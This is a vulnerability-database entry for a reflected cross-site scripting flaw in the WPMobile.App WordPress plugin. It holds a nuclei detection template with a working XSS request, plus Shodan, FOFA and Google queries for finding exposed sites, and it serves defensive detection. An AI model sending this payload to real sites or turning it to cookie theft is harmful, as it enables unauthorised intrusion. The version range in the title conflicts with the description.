HexBrain

Browse / CVEs / CVE-2024-35694

CVE-2024-35694· wpmobile.app / wpmobile.app· CWE-79

Wordpress WPMobile.App >= 11.42 - Cross-Site Scripting

highseverity
7.1CVSS score
0.7%likelihood of exploitation, next 30 days
52%of all CVEs are less likely
Readycheck to confirm it

WPMobile.App versions up to 11.41 contain a reflected cross-site scripting (XSS) caused by improper input neutralization during web page generation, letting attackers execute scripts in the victim's browser, exploit requires attacker to craft malicious input.

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.

Fix

Implement proper input sanitization and output encoding, and update to the latest version of WPMobile.App.

How to confirm it

Send: GET /?wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1
Positive when: matches /<title>[\s\S]*?<script>alert\(document\.domain\)<\/script>[\s\S]*?<\/title>/ AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-35694 -u <target>

The full check
id: CVE-2024-35694

info:
  name: Wordpress WPMobile.App >= 11.42 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    WPMobile.App versions up to 11.41 contain a reflected cross-site scripting (XSS) caused by improper input neutralization during web page generation, letting attackers execute scripts in the victim's browser, exploit requires attacker to craft malicious input.
  impact: |
    Attackers can execute arbitrary scripts in the victim's browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
  remediation: |
    Implement proper input sanitization and output encoding, and update to the latest version of WPMobile.App.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3082701%40wpappninja&new=3082701%40wpappninja&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-35694
    epss-score: 0.00663
    epss-percentile: 0.52017
    cwe-id: CWE-79
    cpe: cpe:2.3:a:amauri:wpmobile.app:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpmobile.app
    product: wpmobile.app
    shodan-query: http.html:"/wp-content/plugins/wpappninja"
    fofa-query: body="/wp-content/plugins/wpappninja"
    google-query: inurl:"/wp-content/plugins/wpappninja"
  tags: cve,cve2024,xss,wp,wordpress,wpmobileapp,wp-plugin,vkev,vuln

http:
  - raw:
      - |
        GET /?wpapp_shortcode="%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&wpappninja_simul4=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '<title>[\s\S]*?<script>alert\(document\.domain\)<\/script>[\s\S]*?<\/title>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from